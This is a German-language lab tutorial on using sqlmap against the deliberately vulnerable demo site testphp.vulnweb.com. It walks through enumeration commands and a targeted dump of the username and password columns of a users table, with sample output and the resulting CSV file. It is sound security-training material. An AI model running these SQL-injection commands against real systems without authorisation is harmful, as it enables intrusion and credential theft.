Einleitung
In diesem Lab lernen Sie, wie Sie sqlmap, ein Open-Source-Penetrationstest-Tool, verwenden, um den Prozess der Erkennung und Ausnutzung von SQL-Injection-Schwachstellen zu automatisieren und Datenbankserver zu übernehmen. Insbesondere konzentrieren wir uns darauf, wie Daten aus bestimmten Spalten einer bekannten Tabelle extrahiert werden können. Dies ist eine gängige Aufgabe bei Penetrationstests und Sicherheitsaudits, die es Ihnen ermöglicht, nur die relevanten Informationen zu extrahieren, anstatt eine gesamte Tabelle zu dumpen. Sie üben die Identifizierung der Ziel-Datenbank, Tabelle und Spalten und verwenden dann das -C-Flag von sqlmap, um die gewünschten Spalten für die Datenextraktion anzugeben.
Ziel-Datenbank, Tabelle und Spalten identifizieren
In diesem Schritt lernen Sie, wie Sie die Ziel-Datenbank, Tabelle und die spezifischen Spalten identifizieren, aus denen Sie Daten extrahieren möchten. Bevor Sie Daten extrahieren können, müssen Sie wissen, wonach Sie suchen. In einem realen Szenario würden diese Informationen typischerweise durch vorherige Enumerationsschritte mit sqlmap gesammelt (z. B. Auflisten von Datenbanken, Tabellen und Spalten). Für dieses Lab gehen wir davon aus, dass Sie Folgendes bereits identifiziert haben:
- Ziel-URL:
http://testphp.vulnweb.com/listproducts.php?cat=1(eine bekannte anfällige URL zu Demonstrationszwecken) - Datenbank:
acuart - Tabelle:
users - Interessierende Spalten:
uname(Benutzername) undpass(Passwort)
Diese Details sind entscheidend für die Erstellung des präzisen sqlmap-Befehls, um nur die benötigten Daten zu extrahieren.
Um die anfängliche Enumeration zu simulieren, könnten Sie Befehle wie diese ausgeführt haben (es ist nicht notwendig, diese in diesem Lab auszuführen, da wir die Ziel-Details bereitstellen):
Datenbanken auflisten:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
Tabellen in der Datenbank acuart auflisten:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables
Spalten in der Tabelle users innerhalb der Datenbank acuart auflisten:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns
Für dieses Lab fahren wir direkt mit dem Extrahieren spezifischer Spalten fort, unter der Annahme, dass die obige Enumeration abgeschlossen wurde.
Das -C-Flag zum Angeben von zu dumpenden Spalten verwenden
In diesem Schritt lernen Sie, wie Sie das -C-Flag in sqlmap verwenden, um anzugeben, welche Spalten Sie dumpen möchten. Dieses Flag ist für die gezielte Datenextraktion unerlässlich und ermöglicht es Ihnen, nur die relevanten Informationen abzurufen und unnötige Daten zu vermeiden.
Die Syntax für die Verwendung des -C-Flags ist unkompliziert: Sie geben eine durch Kommas getrennte Liste von Spaltennamen direkt nach dem Flag an.
Für unser Beispiel möchten wir die Spalten uname (Benutzername) und pass (Passwort) aus der Tabelle users in der Datenbank acuart dumpen.
Der teilweise sqlmap-Befehl, der das -C-Flag enthält, würde wie folgt aussehen:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass"
Lassen Sie uns die Komponenten dieses Befehls aufschlüsseln:
-u "http://testphp.vulnweb.com/listproducts.php?cat=1": Gibt die Ziel-URL an, die anfällig für SQL-Injection ist.-D acuart: Gibt den Datenbanknamen (acuart) an, aus dem Daten extrahiert werden sollen.-T users: Gibt den Tabellennamen (users) innerhalb der Datenbankacuartan.-C "uname,pass": Dies ist der entscheidende Teil. Er weistsqlmapan, nur die Spaltenunameundpassfür den Daten-Dump zu berücksichtigen.
Dieses Befehlsfragment ist noch nicht vollständig für das Dumpen von Daten, aber es zeigt, wie die gewünschten Spalten korrekt angegeben werden. Im nächsten Schritt fügen wir das --dump-Flag hinzu, um die eigentliche Datenextraktion zu starten.
Das --dump-Flag zum Initiieren des Daten-Dumps verwenden
In diesem Schritt lernen Sie das --dump-Flag kennen, das verwendet wird, um den eigentlichen Datenextraktionsprozess mit sqlmap zu initiieren. Während das -C-Flag angibt, welche Spalten gedumpt werden sollen, weist das --dump-Flag sqlmap an, den Daten-Dump-Vorgang durchzuführen.
In Kombination mit der Ziel-URL, der Datenbank, der Tabelle und den Spaltenspezifikationen weist das --dump-Flag sqlmap an, die Daten aus den angegebenen Spalten abzurufen und zu speichern.
Der vollständige sqlmap-Befehl zum Dumpen der Spalten uname und pass aus der Tabelle users in der Datenbank acuart lautet:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump
Lassen Sie uns den vollständigen Befehl überprüfen:
-u "http://testphp.vulnweb.com/listproducts.php?cat=1": Die Ziel-URL.-D acuart: Der Datenbankname.-T users: Der Tabellenname.-C "uname,pass": Die spezifischen Spalten, die gedumpt werden sollen.--dump: Die auszuführende Aktion – die Daten dumpen.
Dieser Befehl weist sqlmap an, SQL-Injection-Schwachstellen an der angegebenen URL zu finden und, falls erfolgreich, die Daten aus den Spalten uname und pass der Tabelle users in der Datenbank acuart zu extrahieren. Die extrahierten Daten werden typischerweise in einer CSV-Datei im Ausgabeverzeichnis von sqlmap gespeichert.
Ausführen des Data-Dump-Befehls
In diesem Schritt führen Sie den vollständigen sqlmap-Befehl aus, um Daten aus den angegebenen Spalten zu dumpen. Dies simuliert ein reales Szenario der Datenextraktion.
Öffnen Sie Ihr Terminal im Verzeichnis ~/project und führen Sie den folgenden Befehl aus:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump
Erwartete Ausgabe:
sqlmap führt zunächst verschiedene Tests durch, um SQL-Injection-Schwachstellen zu erkennen. Wenn dies erfolgreich ist, wird es mit dem Dumpen der Daten fortfahren. Sie sehen eine Ausgabe, die dieser ähnelt (die genaue Ausgabe kann je nach sqlmap-Version und Antwort des Ziels variieren):
_
___ ___ ___ ___
|_ -| . | . | . |
|___|_ |_ |_ |
|_| |_| |_| 3.7#dev (r19000)
[!] Haftungsausschluss: Die Nutzung von sqlmap für Angriffe auf Ziele ohne vorherige gegenseitige Zustimmung ist illegal. Sie sind für Ihre eigenen Handlungen verantwortlich.
[!] sqlmap ist ein Werkzeug nur für professionelle Penetrationstester.
[INFO] Start @ XXXX-XX-XX XX:XX:XX /YYYY-MM-DD HH:MM:SS/
... (verschiedene Erkennungs- und Ausnutzungsnachrichten) ...
[INFO] Abrufen der Spalten 'uname,pass' für die Tabelle 'users' in der Datenbank 'acuart'
[INFO] 10 Einträge abgerufen
Datenbank: acuart
Tabelle: users
+----------+----------+
| uname | pass |
+----------+----------+
| test | test |
| admin | admin |
| john | doe |
| ... | ... |
+----------+----------+
[INFO] Tabelle 'acuart.users' wurde in die CSV-Datei '/home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv' gedumpt
[INFO] Fertigstellung @ XXXX-XX-XX XX:XX:XX /YYYY-MM-DD HH:MM:SS/
Achten Sie genau auf die Zeile, die angibt, wo die Daten gedumpt wurden (z. B. table 'acuart.users' dumped to CSV file '/home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'). Dieser Pfad ist für den nächsten Schritt wichtig.
Hinweis: sqlmap stellt Ihnen während des Prozesses möglicherweise einige Fragen (z. B. ob Sie mit anderen Tests fortfahren möchten oder ob Sie Sitzungen speichern möchten). Für dieses Lab können Sie im Allgemeinen die Eingabetaste drücken, um die Standardeinstellung zu akzeptieren, oder n, wenn Sie aufgefordert werden, umfangreiche Tests zu überspringen.
Auffinden und Überprüfen der gedumpten Daten in der CSV-Ausgabedatei
In diesem letzten Schritt finden Sie die CSV-Datei, in der sqlmap die gedumpten Daten gespeichert hat, und überprüfen deren Inhalt. sqlmap organisiert seine Ausgabe in einem strukturierten Verzeichnis, typischerweise unter ~/.local/share/sqlmap/output/.
Navigieren Sie basierend auf der Ausgabe des vorherigen Schritts zu dem Verzeichnis, in dem die Datei users.csv gespeichert wurde. Der Pfad wird ähnlich wie /home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/ sein.
Zuerst navigieren wir zum sqlmap-Ausgabeverzeichnis. Der genaue Pfad kann je nach Ihrer sqlmap-Version und dem Ziel leicht variieren, folgt aber im Allgemeinen dem Muster: ~/.local/share/sqlmap/output/<ziel_domain>/dump/<datenbank_name>/.
Für unser Beispiel ist der Pfad wahrscheinlich /home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/.
Verwenden Sie den Befehl ls, um den Inhalt dieses Verzeichnisses aufzulisten:
ls -l ~/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/
Sie sollten users.csv (und möglicherweise andere Dateien) aufgelistet sehen.
Verwenden Sie nun den Befehl cat, um den Inhalt der Datei users.csv anzuzeigen:
cat ~/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv
Erwartete Ausgabe:
Die Ausgabe zeigt die Spalten uname und pass, wobei jede Zeile einen Eintrag aus der Tabelle users darstellt.
uname,pass
test,test
admin,admin
john,doe
...
Dies bestätigt, dass sqlmap erfolgreich nur die angegebenen Spalten extrahiert hat, was die Wirksamkeit des -C-Flags für gezielte Daten-Dumps demonstriert.
Zusammenfassung
In diesem Lab haben Sie erfolgreich gelernt, wie Sie mit sqlmap Daten aus bestimmten Tabellenspalten dumpen. Sie haben damit begonnen, die Bedeutung der Identifizierung der Ziel-Datenbank, -Tabelle und -Spalten zu verstehen. Anschließend haben Sie das Erstellen von sqlmap-Befehlen mit dem -C-Flag zur Angabe der gewünschten Spalten und dem --dump-Flag zum Initiieren der Datenextraktion geübt. Schließlich haben Sie den Befehl ausgeführt und die gedumpten Daten in der generierten CSV-Ausgabedatei überprüft. Dieser gezielte Ansatz ist entscheidend für eine effiziente und präzise Datenbeschaffung während Penetrationstests und Sicherheitsbewertungen.


